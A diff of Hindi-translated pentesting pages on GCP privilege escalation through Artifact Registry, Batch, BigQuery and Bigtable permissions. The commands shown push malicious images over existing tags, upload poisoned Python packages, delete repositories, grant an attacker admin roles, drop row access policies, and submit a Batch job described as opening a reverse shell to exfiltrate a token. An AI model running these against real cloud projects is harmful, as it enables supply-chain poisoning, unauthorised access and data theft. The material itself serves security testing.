### आर्टिफैक्ट रजिस्ट्री पर लिखने की अनुमति
|
||||
### Write Access over the Artifact Registry
|
||||
|
||||
हालांकि App Engine आर्टिफैक्ट रजिस्ट्री के अंदर डॉकर इमेज बनाता है। यह परीक्षण किया गया था कि **भले ही आप इस सेवा के अंदर इमेज को संशोधित करें** और App Engine उदाहरण को हटा दें (ताकि एक नया तैनात किया जाए) **निष्पादित कोड नहीं बदलता**।\
|
||||
यह संभव हो सकता है कि बकेट के साथ **रेस कंडीशन हमले को करने पर निष्पादित कोड को ओवरराइट करना संभव हो**, लेकिन इसका परीक्षण नहीं किया गया था।
|
||||
हालाँकि App Engine Artifact Registry के अंदर docker images बनाता है। परीक्षण में पाया गया कि **भले ही आप इस सर्विस के अंदर image को modify करें** और App Engine instance को हटाया जाए (तो एक नया deploy होता है), तब भी **execute होने वाला कोड बदलता नहीं है**.\
|
||||
यह संभव हो सकता है कि buckets के साथ की तरह एक **Race Condition attack** करके execute होने वाले कोड को overwrite करना संभव हो, लेकिन इसका परीक्षण नहीं किया गया।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+91
-33
@@ -12,7 +12,10 @@ Artifact Registry के बारे में अधिक जानकार
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
इस अनुमति के साथ एक हमलावर नए संस्करणों को अपलोड कर सकता है जिनमें दुर्भावनापूर्ण कोड जैसे Docker छवियाँ शामिल हैं:
|
||||
इस permission के साथ attacker malicious code वाले artifacts (जैसे Docker images) के नए संस्करण अपलोड कर सकता है:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry में Docker image अपलोड करें</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -23,20 +26,25 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> यह जांचा गया कि एक **नया दुर्भावनापूर्ण डॉकर** इमेज उसी नाम और टैग के साथ अपलोड करना **संभव है** जो पहले से मौजूद है, इसलिए **पुराना टैग खो देगा** और अगली बार जब उस टैग के साथ इमेज **डाउनलोड की जाएगी तो दुर्भावनापूर्ण इमेज** डाउनलोड होगी।
|
||||
> यह जाँच किया गया कि यह **संभव है कि एक नया malicious docker** image उसी नाम और tag के साथ upload किया जा सके जो पहले से मौजूद है, इसलिए पुराना image **tag खो देगा** और अगली बार जब उस tag के साथ image **download** किया जाएगा तो malicious वाला ही डाउनलोड होगा।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Python लाइब्रेरी अपलोड करें</summary>
|
||||
<summary>Upload a Python library</summary>
|
||||
|
||||
**अपलोड करने के लिए लाइब्रेरी बनाने से शुरू करें** (यदि आप रजिस्ट्री से नवीनतम संस्करण डाउनलोड कर सकते हैं तो आप इस चरण को छोड़ सकते हैं):
|
||||
**अपलोड करने के लिए लाइब्रेरी बनाकर शुरू करें** (यदि आप registry से नवीनतम संस्करण डाउनलोड कर सकते हैं तो आप यह कदम छोड़ सकते हैं):
|
||||
|
||||
1. **अपने प्रोजेक्ट संरचना को सेट करें**:
|
||||
1. **अपने प्रोजेक्ट की संरचना सेट अप करें**:
|
||||
|
||||
- अपनी लाइब्रेरी के लिए एक नया निर्देशिका बनाएं, जैसे, `hello_world_library`।
|
||||
- इस निर्देशिका के अंदर, अपने पैकेज नाम के साथ एक और निर्देशिका बनाएं, जैसे, `hello_world`।
|
||||
- अपने पैकेज निर्देशिका के अंदर, एक `__init__.py` फ़ाइल बनाएं। यह फ़ाइल खाली हो सकती है या आपके पैकेज के लिए प्रारंभिककरण कर सकती है।
|
||||
- अपनी लाइब्रेरी के लिए एक नया डायरेक्टरी बनाएं, उदाहरण के लिए `hello_world_library`.
|
||||
- इस डायरेक्टरी के अंदर, अपने पैकेज नाम के साथ एक और डायरेक्टरी बनाएं, उदाहरण के लिए `hello_world`.
|
||||
- अपने पैकेज डायरेक्टरी के अंदर एक `__init__.py` फ़ाइल बनाएं। यह फ़ाइल खाली हो सकती है या आपके पैकेज के शुरुआती initializations रख सकती है।
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -45,21 +53,31 @@ mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
2. **अपनी लाइब्रेरी कोड लिखें**:
|
||||
|
||||
- `hello_world` निर्देशिका के अंदर, अपने मॉड्यूल के लिए एक नया Python फ़ाइल बनाएं, जैसे, `greet.py`।
|
||||
- `hello_world` डायरेक्टरी के अंदर अपने मॉड्यूल के लिए एक नया Python फ़ाइल बनाएं, उदाहरण के लिए `greet.py`.
|
||||
- अपनी "Hello, World!" फ़ंक्शन लिखें:
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
3. **एक `setup.py` फ़ाइल बनाएं**:
|
||||
|
||||
- अपनी `hello_world_library` निर्देशिका की जड़ में, एक `setup.py` फ़ाइल बनाएं।
|
||||
- यह फ़ाइल आपकी लाइब्रेरी के बारे में मेटाडेटा रखती है और Python को बताती है कि इसे कैसे स्थापित किया जाए।
|
||||
- `hello_world_library` डायरेक्टरी की root में एक `setup.py` फ़ाइल बनाएं।
|
||||
- यह फ़ाइल आपकी लाइब्रेरी के बारे में metadata रखती है और Python को बताती है कि इसे कैसे install करना है।
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -70,47 +88,70 @@ name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# आपकी लाइब्रेरी को आवश्यक कोई भी निर्भरता
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
**अब, लाइब्रेरी अपलोड करें:**
|
||||
</details>
|
||||
|
||||
1. **अपने पैकेज का निर्माण करें**:
|
||||
**अब, चलिए लाइब्रेरी अपलोड करते हैं:**
|
||||
|
||||
- अपनी `hello_world_library` निर्देशिका की जड़ से, चलाएं:
|
||||
1. **अपना पैकेज बनाएं**:
|
||||
|
||||
- `hello_world_library` डायरेक्टरी की root से, चलाएँ:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **twine के लिए प्रमाणीकरण कॉन्फ़िगर करें** (जो आपके पैकेज को अपलोड करने के लिए उपयोग किया जाता है):
|
||||
- सुनिश्चित करें कि आपके पास `twine` स्थापित है (`pip install twine`)।
|
||||
- क्रेडेंशियल्स कॉन्फ़िगर करने के लिए `gcloud` का उपयोग करें:
|
||||
````
|
||||
</details>
|
||||
|
||||
2. **twine के लिए authentication कॉन्फ़िगर करें** (जो पैकेज upload करने के लिए उपयोग होता है):
|
||||
- सुनिश्चित करें कि आपके पास `twine` installed है (`pip install twine`).
|
||||
- credentials कॉन्फ़िगर करने के लिए `gcloud` का उपयोग करें:
|
||||
|
||||
<details>
|
||||
<summary>Upload package with twine</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
3. **बिल्ड को साफ करें**
|
||||
</details>
|
||||
|
||||
3. **बिल्ड को साफ़ करें**
|
||||
|
||||
<details>
|
||||
<summary>बिल्ड आर्टिफैक्ट्स को साफ़ करें</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
</details>
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> यह संभव नहीं है कि आप उसी संस्करण के साथ एक python लाइब्रेरी अपलोड करें जो पहले से मौजूद है, लेकिन आप **बड़े संस्करण** अपलोड कर सकते हैं (या यदि यह काम करता है तो संस्करण के अंत में एक अतिरिक्त **`.0` जोड़ सकते हैं -हालांकि python में नहीं-), या **अंतिम संस्करण को हटा सकते हैं और एक नया अपलोड कर सकते हैं** (आवश्यक `artifactregistry.versions.delete)`**:**
|
||||
> एक ही संस्करण वाली python लाइब्रेरी को फिर से अपलोड करना संभव नहीं है, पर आप **बड़े संस्करण** अपलोड कर सकते हैं (या यदि काम करे तो संस्करण के अंत में अतिरिक्त **`.0` जोड़ सकते हैं** -हालाँकि python में नहीं-), या आप **अंतिम संस्करण को हटाकर नया संस्करण अपलोड कर सकते हैं** (needed `artifactregistry.versions.delete)`**:**
|
||||
>
|
||||
> <details>
|
||||
> <summary>Delete artifact version</summary>
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
इस अनुमति के साथ आप **कलाकृतियों** को **डाउनलोड** कर सकते हैं और **संवेदनशील जानकारी** और **कमजोरियों** के लिए खोज कर सकते हैं।
|
||||
इस अनुमति के साथ आप **आर्टिफैक्ट्स डाउनलोड** कर सकते हैं और **संवेदनशील जानकारी** तथा **कमज़ोरियाँ** खोज सकते हैं।
|
||||
|
||||
एक **Docker** इमेज डाउनलोड करें:
|
||||
Download a **Docker** image:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry से **Docker** इमेज डाउनलोड करें</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -118,11 +159,18 @@ gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
एक **python** पुस्तकालय डाउनलोड करें:
|
||||
</details>
|
||||
|
||||
एक **python** लाइब्रेरी डाउनलोड करें:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry से Python लाइब्रेरी डाउनलोड करें</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
- यदि एक दूरस्थ और एक मानक रजिस्ट्री को एक आभासी में मिलाया जाता है और एक पैकेज दोनों में मौजूद है, तो क्या होता है? इस पृष्ठ को देखें:
|
||||
</details>
|
||||
|
||||
- क्या होता है अगर एक virtual registry में remote और standard registries मिश्रित हों और कोई package दोनों में मौजूद हो? इस पेज को देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -130,30 +178,40 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
रजिस्ट्री से कलाकृतियों को हटाएं, जैसे कि डॉकर छवियाँ:
|
||||
रजिस्ट्री से artifacts हटाएँ, जैसे docker images:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry से Docker image हटाएँ</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
पूर्ण रिपॉजिटरी को हटाएं (भले ही इसमें सामग्री हो):
|
||||
एक पूरा repository हटाएँ (यहाँ तक कि इसमें content हो):
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry repository हटाएँ</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
इस अनुमति के साथ एक हमलावर खुद को कुछ पहले उल्लेखित रिपॉजिटरी हमलों को करने की अनुमति दे सकता है।
|
||||
इस permission वाले attacker अपने आप को पहले बताए गए कुछ repository attacks करने की permissions दे सकता है।
|
||||
|
||||
### Artifact Registry पढ़ने और लिखने के माध्यम से अन्य सेवाओं में पिवटिंग
|
||||
### Artifact Registry Read & Write के माध्यम से अन्य Services पर Pivoting
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
जब एक Cloud Function बनाई जाती है, तो प्रोजेक्ट के Artifact Registry में एक नया डॉकर इमेज पुश किया जाता है। मैंने इमेज को एक नए के साथ संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और `cache` इमेज) को हटाने की कोशिश की, लेकिन कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद **Race Condition हमले का दुरुपयोग करना संभव हो सकता है** जैसे कि बकेट के साथ डॉकर कंटेनर को बदलने के लिए, लेकिन **संग्रहीत इमेज को संशोधित करके क्लाउड फ़ंक्शन को समझौता करना संभव नहीं है**।
|
||||
जब कोई Cloud Function बनाई जाती है तो प्रोजेक्ट के Artifact Registry में एक नया docker image push हो जाता है। मैंने image को नए वाले से बदलने की कोशिश की, और वर्तमान image (और `cache` image) को हटा भी दिया, पर कुछ नहीं बदला — cloud function चलते रहे। इसलिए, शायद bucket के साथ की तरह **Race Condition attack का दुरुपयोग** करके चलने वाले docker container को बदलना संभव हो सकता है, लेकिन **सिर्फ़ संग्रहित image को modify करने से Cloud Function compromise करना संभव नहीं है**।
|
||||
|
||||
- **App Engine**
|
||||
|
||||
हालांकि App Engine Artifact Registry के अंदर डॉकर इमेज बनाता है। यह परीक्षण किया गया कि **यहां तक कि यदि आप इस सेवा के अंदर इमेज को संशोधित करते हैं** और App Engine इंस्टेंस को हटाते हैं (ताकि एक नया तैनात किया जा सके) तो **कार्यक्रमित कोड नहीं बदलता**।\
|
||||
यह संभव हो सकता है कि **बकेट के साथ Race Condition हमले को करते हुए कार्यान्वित कोड को ओवरराइट करना संभव हो सकता है**, लेकिन इसका परीक्षण नहीं किया गया।
|
||||
हालाँकि App Engine Artifact Registry के अंदर docker images बनाता है। परीक्षण में पाया गया कि **भले ही आप इस service के अंदर image को modify कर दें** और App Engine instance को हटा दें (तो नया deploy किया जाता है) तब भी **code executed doesn't change**।\
|
||||
यह संभव हो सकता है कि buckets के साथ जैसे **Race Condition attack कर के executed code को overwrite करना संभव हो**, लेकिन इसे टेस्ट नहीं किया गया।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# GCP - बैच प्रिवेस्क
|
||||
# GCP - Batch Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## बैच
|
||||
## Batch
|
||||
|
||||
बुनियादी जानकारी:
|
||||
|
||||
@@ -12,7 +12,10 @@
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
एक बैच नौकरी बनाना, एक रिवर्स शेल प्राप्त करना और SA (डिफ़ॉल्ट रूप से कंप्यूट SA) के मेटाडेटा टोकन को एक्सफिल्ट्रेट करना संभव है।
|
||||
यह संभव है कि एक Batch job बनाकर, reverse shell प्राप्त करके और SA का metadata token exfiltrate किया जाए (डिफ़ॉल्ट रूप से compute SA)।
|
||||
|
||||
<details>
|
||||
<summary>Reverse shell के साथ Batch job बनाएं</summary>
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
@@ -53,4 +56,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
}
|
||||
EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+60
-15
@@ -10,23 +10,36 @@ BigQuery के बारे में अधिक जानकारी के
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Table
|
||||
### टेबल पढ़ें
|
||||
|
||||
BigQuery तालिका के अंदर संग्रहीत जानकारी को पढ़ने से संवेदनशील जानकारी मिलना संभव हो सकता है। जानकारी तक पहुँचने के लिए आवश्यक अनुमति **`bigquery.tables.get`**, **`bigquery.jobs.create`** और **`bigquery.tables.getData`** है:
|
||||
BigQuery टेबल में संग्रहीत जानकारी पढ़ने पर **संवेदनशील जानकारी** मिल सकती है। जानकारी तक पहुँच के लिए आवश्यक अनुमतियाँ हैं **`bigquery.tables.get`**, **`bigquery.jobs.create`** और **`bigquery.tables.getData`**:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery टेबल डेटा पढ़ें</summary>
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
### डेटा निर्यात करें
|
||||
</details>
|
||||
|
||||
यह डेटा तक पहुँचने का एक और तरीका है। **इसे एक क्लाउड स्टोरेज बकेट में निर्यात करें** और **जानकारी के साथ फ़ाइलें डाउनलोड करें**।\
|
||||
इस क्रिया को करने के लिए निम्नलिखित अनुमतियों की आवश्यकता है: **`bigquery.tables.export`**, **`bigquery.jobs.create`** और **`storage.objects.create`**।
|
||||
### डेटा निर्यात
|
||||
|
||||
यह डेटा तक पहुंचने का एक और तरीका है। **इसे एक Cloud Storage bucket में निर्यात करें** और **जानकारी वाली फ़ाइलें डाउनलोड करें।**\
|
||||
यह क्रिया करने के लिए निम्नलिखित अनुमतियाँ आवश्यक हैं: **`bigquery.tables.export`**, **`bigquery.jobs.create`** और **`storage.objects.create`**.
|
||||
|
||||
<details>
|
||||
<summary>BigQuery तालिका को Cloud Storage में निर्यात करें</summary>
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
### Insert data
|
||||
</details>
|
||||
|
||||
यह संभव है कि **कुछ विश्वसनीय डेटा** को Bigquery तालिका में **किसी अन्य स्थान में एक कमजोरियों का लाभ उठाने के लिए** पेश किया जाए। यह **`bigquery.tables.get`**, **`bigquery.tables.updateData`** और **`bigquery.jobs.create`** अनुमतियों के साथ आसानी से किया जा सकता है:
|
||||
### डेटा डालें
|
||||
|
||||
यह संभव हो सकता है कि किसी Bigquery तालिका में **कुछ भरोसेमंद डेटा डालना** ताकि किसी अन्य स्थान पर मौजूद **vulnerability** का दुरुपयोग किया जा सके। यह **`bigquery.tables.get`**, **`bigquery.tables.updateData`** और **`bigquery.jobs.create`** permissions के साथ आसानी से किया जा सकता है:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery तालिका में डेटा डालें</summary>
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके **अपने लिए और अधिक अनुमतियाँ** प्राप्त कर सकता है एक BigQuery डेटासेट पर:
|
||||
एक हमलावर इस privilege का दुरुपयोग करके BigQuery dataset पर अपने लिए **अतिरिक्त permissions** दे सकता है:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery dataset पर IAM policy सेट करें</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
यह अनुमति केवल **ACLs को संशोधित करके BigQuery डेटासेट पर आपकी पहुँच को अपडेट करने** की अनुमति देती है जो यह दर्शाती है कि कौन इसे एक्सेस कर सकता है:
|
||||
यह अनुमति केवल आपको **ACLs को संशोधित करके किसी BigQuery dataset पर अपनी पहुँच अपडेट करने** की अनुमति देती है जो बताती हैं कि कौन इसे एक्सेस कर सकता है:
|
||||
|
||||
<details>
|
||||
<summary>Update BigQuery dataset ACLs</summary>
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
@@ -57,9 +80,14 @@ bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके **अपने लिए और अधिक अनुमतियाँ** प्राप्त कर सकता है एक BigQuery तालिका पर:
|
||||
एक attacker इस विशेषाधिकार का दुरुपयोग करके किसी BigQuery table पर **अपने लिए और अधिक अनुमतियाँ** दे सकता है:
|
||||
|
||||
<details>
|
||||
<summary>Set IAM policy on BigQuery table</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
दस्तावेज़ों के अनुसार, उल्लेखित अनुमतियों के साथ **एक पंक्ति नीति को अपडेट करना संभव है।**\
|
||||
हालांकि, **cli `bq` का उपयोग करते समय** आपको कुछ और चाहिए: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**।
|
||||
दस्तावेज़ों के अनुसार, उल्लिखित अनुमतियों के साथ row policy को **अपडेट करना संभव है।**\
|
||||
हालाँकि, **CLI `bq` का उपयोग करते समय** आपको कुछ और चाहिए: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
|
||||
<details>
|
||||
<summary>row access policy बनाएँ या प्रतिस्थापित करें</summary>
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
यह संभव है कि पंक्ति नीतियों की गणना के आउटपुट में फ़िल्टर आईडी पाया जा सके। उदाहरण:
|
||||
</details>
|
||||
|
||||
row policies enumeration के आउटपुट में filter ID पाया जा सकता है। उदाहरण:
|
||||
|
||||
<details>
|
||||
<summary>पंक्ति एक्सेस पॉलिसियाँ सूचीबद्ध करें</summary>
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
```
|
||||
यदि आपके पास **`bigquery.rowAccessPolicies.delete`** है बजाय `bigquery.rowAccessPolicies.update` के, तो आप नीति को बस हटा भी सकते हैं:
|
||||
</details>
|
||||
|
||||
यदि आपके पास **`bigquery.rowAccessPolicies.delete`** `bigquery.rowAccessPolicies.update` की बजाय है, तो आप नीति को बस हटा भी सकते हैं:
|
||||
|
||||
<details>
|
||||
<summary>row access policies हटाएँ</summary>
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> पंक्ति पहुँच नीतियों को बायपास करने का एक और संभावित विकल्प प्रतिबंधित डेटा के मान को बदलना होगा। यदि आप केवल तब देख सकते हैं जब `term` `Cfba` है, तो बस तालिका के सभी रिकॉर्ड को `term = "Cfba"` में संशोधित करें। हालाँकि, यह bigquery द्वारा रोका गया है।
|
||||
> एक और संभावित विकल्प row access policies को bypass करने का यह होगा कि आप प्रतिबंधित डेटा का मान बदल दें। अगर आप केवल तब देख पाते हैं जब `term` `Cfba` है, तो बस तालिका के सभी रिकॉर्ड्स को संशोधित करके `term = "Cfba"` कर दें। हालांकि इसे bigquery रोकता है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+37
-17
@@ -12,40 +12,50 @@ Bigtable के बारे में अधिक जानकारी के
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**अनुमतियाँ:** `bigtable.instances.setIamPolicy` (और आमतौर पर वर्तमान बाइंडिंग पढ़ने के लिए `bigtable.instances.getIamPolicy`).
|
||||
**अनुमतियाँ:** `bigtable.instances.setIamPolicy` (और आमतौर पर वर्तमान bindings पढ़ने के लिए `bigtable.instances.getIamPolicy`)।
|
||||
|
||||
इंस्टेंस IAM पॉलिसी का स्वामित्व आपको अपने आप को **`roles/bigtable.admin`** (या कोई भी कस्टम रोल) प्रदान करने की अनुमति देता है, जो instance के हर क्लस्टर, तालिका, बैकअप और अधिकृत व्यू पर लागू हो जाता है।
|
||||
इंस्टेंस का IAM policy आपके पास होने पर आप अपने आप को **`roles/bigtable.admin`** (या कोई भी कस्टम role) दे सकते हैं, जो इंस्टेंस के हर क्लस्टर, टेबल, बैकअप और अधिकृत व्यू तक लागू हो जाता है।
|
||||
|
||||
<details><summary>इंस्टेंस पर अपने लिए bigtable.admin role दें</summary>
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> यदि आप मौजूदा bindings को सूचीबद्ध नहीं कर सकते, तो एक नया policy document बनाकर उसे `gcloud bigtable instances set-iam-policy` के साथ push कर दें बशर्ते आप खुद को उस पर बनाए रखें।
|
||||
</details>
|
||||
|
||||
इस permission को मिलने के बाद, अधिक तरीकों के लिए [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques देखें जो Bigtable permissions का दुरुपयोग करने के तरीके बताती हैं।
|
||||
> [!TIP]
|
||||
> यदि आप existing bindings की सूची नहीं निकाल सकते हैं, तो एक नया policy document तैयार करें और उसे `gcloud bigtable instances set-iam-policy` के साथ push कर दें, बशर्ते आप खुद उस पर बने रहें।
|
||||
|
||||
यह अनुमति मिलने के बाद, Bigtable permissions का दुरुपयोग करने के और तरीकों के लिए [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) में दी गई techniques देखें।
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Permissions:** `bigtable.tables.setIamPolicy` (optionally `bigtable.tables.getIamPolicy`).
|
||||
**अनुमतियाँ:** `bigtable.tables.setIamPolicy` (वैकल्पिक रूप से `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Instance policies को लॉक डाउन किया जा सकता है जबकि individual tables सौंपे जा सकते हैं। यदि आप table IAM को संपादित कर सकते हैं, तो आप **अपने आप को target dataset का owner बना सकते हैं** बिना अन्य workloads को छुए।
|
||||
Instance policies को लॉक किया जा सकता है जबकि individual tables delegated होते हैं। यदि आप table IAM संपादित कर सकते हैं तो आप बिना अन्य workloads को छुए **अपने आप को लक्षित dataset का owner बना सकते हैं**।
|
||||
|
||||
<details><summary>Grant yourself bigtable.admin role on table</summary>
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
इस अनुमति को प्राप्त करने के बाद अधिक तरीकों के लिए [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) की techniques देखें जिनसे Bigtable permissions का दुरुपयोग किया जा सकता है।
|
||||
</details>
|
||||
|
||||
इन अनुमतियों की जांच करने के बाद [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) में मौजूद तकनीकों को देखें ताकि Bigtable permissions का दुरुपयोग करने के और तरीके मिल सकें।
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**अनुमतियाँ:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
